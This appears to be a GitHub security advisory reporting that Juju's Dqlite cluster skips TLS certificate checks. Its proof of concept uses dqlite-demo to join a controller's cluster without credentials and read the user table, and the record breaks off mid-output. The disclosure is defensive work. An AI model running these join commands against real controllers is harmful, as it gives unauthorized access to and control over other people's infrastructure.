GitHub Security Advisory: GHSA-gvrj-cjch-728p
Package: github.com/juju/juju (GO)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-287: Improper Authentication, CWE-295: Improper Certificate Validation, CWE-296: Improper Following of a Certificate's Chain of Trust
Vulnerable versions: <= 0.0.0[PII_REDACTED]2550-1c1ac1922b57
Patched in: unpatched

Summary: Juju has Improper TLS Client/Server authentication and certificate verification on Database Cluster

Details:
### Impact
Any Juju controller since 3.2.0.

An attacker with only route-ability to the target juju controller Dqlite cluster endpoint
may join the Dqlite cluster, read and modify all information, including escalating privileges,
open firewall ports etc.

This is due to not checking the client certificate, additionally, the client does not
check the server's certificate (MITM attack possible), so anything goes.

https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324

#### PoC
Using the tool referenced below.

Bootstrap a controller and show the users:
```
$ juju bootstrap lxd a
Creating Juju controller "a" on lxd/localhost
Looking for packaged Juju agent version 4.0.4 for amd64
<...>
Launching controller instance(s) on localhost/localhost...
 - juju-fefd2b-0 (arch=amd64)
Installing Juju agent on bootstrap instance
Waiting for address
Attempting to connect to 10.151.236.15:22
<...>
Contacting Juju controller at 10.151.236.15 to verify accessibility...

Bootstrap complete, controller "a" is now available
Controller machines are in the "controller" model

Now you can run
	juju add-model <model-name>
to create a new model to deploy workloads.
$ juju users
Controller: a

Name               Display name  Access     Date created  Last connection
admin*             admin         superuser  1 minute ago  just now
juju-metrics       Juju Metrics  login      1 minute ago  never connected
everyone@external
```

Join the cluster with the first cluster member:
```
$ dqlite-demo --db 192.168.1.25:9999 --join 10.151.236.15:17666
dqlite interactive shell.
Enter SQL statements terminated with a semicolon.
Meta-commands: .switch <database>  .close  .exit

Connected to database "demo".
demo>
```

Join the cluster with another cluster member and give the admin a new name:
```
dqlite-demo --db 192.168.1.25:9998 --join 10.151.236.15:17666
dqlite interactive shell.
Enter SQL statements terminated with a semicolon.
Meta-commands: .switch <database>  .close  .exit

Connected to database "demo".
demo> .switch controller
Connected to database "controller".
controller> select * from user;
uuid                                 | name              | display_name | external | removed | created_by_uuid                      | created_at
-------------------------------------+-------------------+--------------+----------+---------+--------------------------------------+----------------------------------------
9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | admin             | admin        | false    | false   | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:25.816694339 +0000 UTC
4e1d65ae-564e-4c0e-8ef6-da8b7fb69b53 | juju-metrics      | Juju Metrics | false    | false   | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.76549689 +0000 UTC
384c57af-57b1-40be-8e6e[PII_REDACTED]d3 | everyone@external |              | true     | false   | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.770215095 +0000 UTC
(3 row(